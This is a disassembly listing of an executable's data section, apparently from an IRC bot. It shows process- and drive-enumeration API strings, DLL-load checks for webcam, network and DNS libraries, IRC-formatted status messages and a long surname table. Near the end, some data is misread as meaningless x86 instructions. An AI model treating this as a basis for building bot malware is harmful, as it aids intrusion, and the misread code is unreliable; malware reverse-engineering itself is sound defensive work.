aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao
align 4
unk_42D6C4 db 2Dh ; - ; DATA XREF: sub_40A5C5+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
align 10h
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
align 10h
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
align 10h
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
align 10h
a_: ; DATA XREF: sub_41036B+252o
unicode 0, <.>,0
unk_42D854 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_42D884 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9B5o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42D8B4 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_42D8D8 db 2Dh ; - ; DATA XREF: sub_40A928+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o
; sub_40C2AF+38o
aReal db 'real',0
align 4
dd 0
dword_42D91C dd 0 ; DATA XREF: sub_40AE84+7o
off_42D920 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r
aConst db 'const',0
align 10h
dd 1, 40AB19h, 7474656Ch, 7265h, 0
dd 2, 40AB77h, 706D6F63h, 2 dup(0)
dd 3, 40ABC4h, 6E756F63h, 797274h, 0
dd 4, 40AC62h, 736Fh, 2 dup(0)
dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
dd 6, 40AEEDh
off_42D99C dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_42D9A8 dd offset aAddison ; DATA XREF: sub_40AE84+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
; ---------------------------------------------------------------------------
loc_42E3C8: ; CODE XREF: ___:loc_42E3C8j
js short loc_42E3C8
inc edx
add [esi+edi*8+42h], ch
add [eax-2], ah
inc edx
add [esi+edi*8+42h], dl
add [eax-2], cl
inc edx
add [esi+edi*8], bh
inc edx
add [esi+edi*8], dh
inc edx
add [esi+edi*8], ch
inc edx
add [esi+edi*8], ah
inc edx
add [esi+edi*8], bl
inc edx
add [esi+edi*8], dl
inc edx
add [esi+edi*8], al
inc edx
add ah, bh
std
inc edx
add al, dh
std
inc edx
add al, ch
std
inc edx
add al, ah
std
inc edx
add al, bl
std
inc edx
add al, dl
std
inc edx
add ah, al
std
inc edx
add [eax-4FFFBD03h], bh
std
inc edx
add [ebp+edi*8-263FFBEh], ah
inc edx
add [eax-7BFFBD03h], dl
std
inc edx
add [ebp+edi*8+42h], bh
add [eax-3], dh
inc edx
add [ebp+edi*8+42h], ah
add [ebp+edi*8+42h], bl
add [eax-3], dl
inc edx
add [eax-3], cl
inc edx
add [eax-3], al
inc edx
add ds:0FD280042h[edi*8], dh
inc edx
add [eax], ah
std
inc edx
add [eax], bl
std
inc edx
add ds:0FD0C0042h[edi*8], dl
inc edx
; ---------------------------------------------------------------------------
db 0
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
